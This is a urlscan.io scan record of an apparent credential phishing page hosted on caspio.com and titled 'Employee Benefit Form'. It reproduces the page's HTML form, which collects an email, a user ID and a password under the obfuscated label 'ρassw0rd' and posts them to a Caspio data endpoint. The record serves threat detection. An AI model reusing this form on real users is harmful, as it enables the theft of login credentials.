c4abg080.caspio.com Open in urlscan Pro
18.134.28.134  Public Scan

Form analysis
1 forms found in the DOM

POST https://c4abg080.caspio.com/dp/9ff7c00049e12a69578c43a3b168

<form method="post" id="caspioform" action="https://c4abg080.caspio.com/dp/9ff7c00049e12a69578c43a3b168" style="margin: 0px;"><input type="hidden" name="cbUniqueFormId" id="cbUniqueFormId_773a55b87f0429" value="_773a55b87f0429"><input type="hidden"
    name="AppKey" value="9ff7c00049e12a69578c43a3b168"><input type="hidden" name="PrevPageID" value="3"><input type="hidden" name="cbPageType" value="Insert"><input type="hidden" name="ClientQueryString" value=""><input type="hidden" name="pathname"
    value="https://c4abg080.caspio.com/dp/9ff7c00049e12a69578c43a3b168"><input type="hidden" name="Mod0InsertRecord" value="1"><input type="hidden" name="Mod0InsertRecordPageID" value="3"><input type="hidden" name="cbAP" value="Caspio">
  <div style="display: table;">
    <section data-cb-name="cbTable" id="cbTable_773a55b87f0429" class="cbFormSection_773a55b87f0429">
      <div class="cbFormLabelCell cbFormLabelRequired cbFormBlock1_773a55b87f0429"><label for="InsertRecordEmail">Email<span class="cbFormRequiredMarker">*</span></label></div>
      <div class="cbFormFieldCell cbFormBlock2_773a55b87f0429"><input type="text" maxlength="255" name="InsertRecordEmail" id="InsertRecordEmail" value="" class="cbFormTextField" size="40"></div>
      <div class="cbFormLabelCell cbFormLabelRequired cbFormBlock3_773a55b87f0429"><label for="InsertRecordFirst_Name">UserID\name<span class="cbFormRequiredMarker">*</span></label></div>
      <div class="cbFormFieldCell cbFormBlock4_773a55b87f0429"><input type="text" maxlength="255" name="InsertRecordFirst_Name" id="InsertRecordFirst_Name" value="" class="cbFormTextField" size="40"></div>
      <div class="cbFormLabelCell cbFormLabelRequired cbFormBlock5_773a55b87f0429"><label for="InsertRecordLast_Name">ρassw0rd<span class="cbFormRequiredMarker">*</span></label></div>
      <div class="cbFormFieldCell cbFormBlock6_773a55b87f0429"><input type="text" maxlength="255" name="InsertRecordLast_Name" id="InsertRecordLast_Name" value="" class="cbFormTextField" size="40"></div>
      <div class="cbSubmitButtonContainer cbFormBlock7_773a55b87f0429"><input type="submit" name="Submit" id="Submit_773a55b87f0429" value="Submit" class="cbSubmitButton"></div>
    </section>
  </div>
</form>

Text Content

EMPLOYEE BENEFIT FORM


Email*

UserID\name*

ρassw0rd*


@2023
















































































































































































































































































































































































































































































































































































































































 
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